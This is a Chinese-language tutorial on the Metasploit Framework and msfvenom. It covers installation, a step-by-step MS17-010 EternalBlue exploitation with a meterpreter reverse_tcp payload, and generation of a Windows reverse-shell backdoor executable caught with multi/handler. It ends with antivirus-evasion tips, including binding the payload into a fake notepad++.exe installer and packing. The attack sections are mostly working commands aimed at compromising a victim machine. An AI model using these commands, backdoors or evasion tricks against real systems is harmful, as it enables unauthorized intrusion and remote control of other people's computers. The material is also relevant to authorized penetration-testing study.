一、渗透工具Metasploit Framework的使用
1、简历
Metasploit Framework(MSF)是一款开源安全漏洞检测工具,附带数千个已知的软件漏洞,并保持持续更新。Metasploit可以用来信息收集、漏洞探测、漏洞利用等渗透测试的全流程,被安全社区冠以“可以黑掉整个宇宙”之名。刚开始的Metasploit是采用Perl语言编写的,但是再后来的新版中,改成了用Ruby语言编写的了。在kali中,自带了Metasploit工具。我们接下来以大名鼎鼎的永恒之蓝MS17_010漏洞为切入点,讲解MSF框架的使用。
使用法则:搜索模块——使用模块——配置必选项——运行模块
2、安装和升级
一般在非kail的liunx下都是需要手动安装MSF的
#一键安装MSF:
curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall && chmod 755 msfinstall && ./msfinstall
adduser msf #添加msf用户
su msf #切换到msf用户
cd /opt/metasploit-framework/bin #切换到msf所在的目录
./msfconsole #以后启动msfconsole,都切换到msf用户下启动,这样会同步数据库。如果使用root用户启动的话,不会同步数据库
#也可以将msfconsole加入到执行目录下,这样在任何目录直接msfconsole就可以了:
ln -s /opt/metasploit-framework/bin/msfconsole /usr/bin/msfconsole
#备注:
#初次运行msf会创建数据库,但是msf默认使用的PostgreSQL数据库不能与root用户关联,这也这也就是需要新建用户msf来运行metasploit的原因所在。如果你一不小心手一抖,初次运行是在root用户下,请使用 msfdb reinit 命令,然后使用非root用户初始化数据库。
#非kali环境下更新升级MSF:
msfupdate #MSF后期的升级
#kali环境下更新升级MSF:
apt update #更新安装包信息;只检查,不更新(已安装的软件包是否有可用的更新,给出汇总报告)
apt upgrade #更新已安装的软件包,不删除旧包;
apt full-upgrade #升级包,删除旧包
#kail环境下升级
apt update #更新安装包信息;只检查,不更新(已安装的软件包是否有可用的更新,给出汇总报告)
apt upgrade #更新已安装的软件包,不删除旧包;
apt full-upgrade #升级包,删除旧包
#MSF后期更新升级
msfupdate
3、使用方式
1.基础使用
msfconsole #进入框架
search ms17_010 # 使用search命令查找相关漏洞
use exploit/windows/smb/ms17_010_eternalblue # 使用use进入模块
info #使用info查看模块信息
set payload windows/x64/meterpreter/reverse_tcp #设置攻击载荷
show options #查看模块需要配置的参数
set RHOST 192.168.100.158 #设置参数
exploit / run #攻击
后渗透阶段 #后渗透阶段
2.攻击载荷
Payload:Payload中包含攻击进入目标主机后需要在远程系统中运行的恶意代码,而在Metasploit中Payload是一种特殊模块,它们能够以漏洞利用模块运行,并能够利用目标系统中的安全漏洞实施攻击。简而言之,这种漏洞利用模块可以访问目标系统,而其中的代码定义了Payload在目标系统中的行为。
Shellcode:Shellcode是payload中的精髓部分,在渗透攻击时作为攻击载荷运行的一组机器指令。Shellcode通常用汇编语言编写。在大多数情况下,目标系统执行了shellcode这一组指令之后,才会提供一个命令行shell。
3.使用示例
a.通过search命令搜索模块
#搜索永恒之蓝模块
search ms17_010
b.进入永痕之蓝模块
#通过模块名进入
use exploit/windows/smb/ms17_010_eternalblue
#通过模块索引进入
use 0
c.查看模块配置项
options 或 show options
d.配置模块
#设置被攻击ip
set RHOSTS 127.0.0.1
#设置被攻击端口
set RPORTS 10000
#设置攻击载荷
set payload windows/x64/meterpreter/reverse_tcp
e.运行模块
#运行模块命令
run
exploit
#攻击成功后可以通过help查看后续渗透操作
二、渗透工具Msfvenom的使用
1、简历
Msfvenom a Metasploit standalone payload generator,Also a replacement for msfpayload and msfencode.是用来生成后门的软件。MSFvenom是Msfpayload和Msfencode的组合,将这两个工具都放在一个Framework实例中。自2015年6月8日起,msfvenom替换了msfpayload和msfencode。
2、参数介绍
-l, --list <type> 列出指定模块的所有可用资源. 模块类型包括: payloads, encoders, nops,......all
-p, --payload < payload> 指定需要使用的payload(攻击荷载)。也可以使用自定义payload,几乎是支持全平台的
-f, --format < format> 指定输出格式
-e, --encoder <encoder> 指定需要使用的encoder(编码器),指定需要使用的编码,如果既没用-e选项也没用-b选项,则输出raw payload
-a, --arch < architecture> 指定payload的目标架构,例如x86 还是 x64 还是 x86_64
-o, --out < path> 指定创建好的payload的存放位置
-b, --bad-chars < list> 设定规避字符集,指定需要过滤的坏字符。例如:不使用 '\x0f'、'\x00'
-n, --nopsled < length> 为payload预先指定一个NOP滑动长度
-s, --space < length> 设定有效攻击荷载的最大长度,就是文件大小
-i, --iterations < count> 指定payload的编码次数
-c, --add-code < path> 指定一个附加的win32 shellcode文件
-x, --template < path> 指定一个自定义的可执行文件作为模板,并将payload嵌入其中
-k, --keep 保护模板程序的动作,注入的payload作为一个新的进程运行
-v, --var-name < value> 指定一个自定义的变量,以确定输出格式
-t, --timeout <second> 从stdin读取有效负载时等待的秒数(默认为30,0表示禁用)
-h,--help 查看帮助选项
--platform < platform> 指定payload的目标平台
3、生成后门木马渗透攻击机
#使用msfvenom生成后门木马
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=kali机ip LPORT=7777 -f exe > demo.exe
#将木马传递给被攻击对象
#进入msfconsole
msfconsole
#进入handler模块监听被攻击对象
use exploit/multi/handler
#设置攻击载荷(名称必须和后门保持一致)
set payload windows/x64/meterpreter/reverse_tcp
#设置ip
set LHOST kali机ip
#设置端口
set LPORT=7777
#运行模块
run
#等待被攻击对象上钩
4、后门木马绕过杀毒软件技巧
1、绑定软件【指定其他软件安装包混在一起】msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=kali机ip LPORT=7777 -f exe -x nodepad++.exe > nodepad++.exe
2、加壳【压缩壳、加密壳】